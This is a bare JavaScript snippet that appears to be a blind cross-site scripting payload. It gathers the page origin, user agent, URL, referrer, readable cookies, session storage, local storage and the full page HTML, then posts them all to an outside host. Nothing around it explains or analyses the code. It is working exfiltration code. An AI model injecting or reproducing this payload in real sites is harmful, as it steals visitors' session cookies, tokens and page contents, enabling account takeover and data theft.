var mailer = 'https://jisoo.ir:443/b'; var msg = '\n\nORIGIN\n' + document.location.origin + '\n\nUSER AGENT\n' + navigator.userAgent + '\n\nTARGET URL\n<' + document.URL +'>'; msg += '\n\nREFERRER URL\n' + document.referrer + '\n\nREADABLE COOKIES\n' + document.cookie; msg += '\n\nSESSION STORAGE\n' + JSON.stringify(sessionStorage,null, 2) + '\n\nLOCAL STORAGE\n' + JSON.stringify(localStorage,null, 2); msg += '\n\nFULL DOCUMENT\n' + document.documentElement.innerHTML; var r = new XMLHttpRequest(); r.open('POST', mailer, true); r.setRequestHeader('Content-type', 'application/x-www-form-urlencoded'); r.send(encodeURIComponent(msg));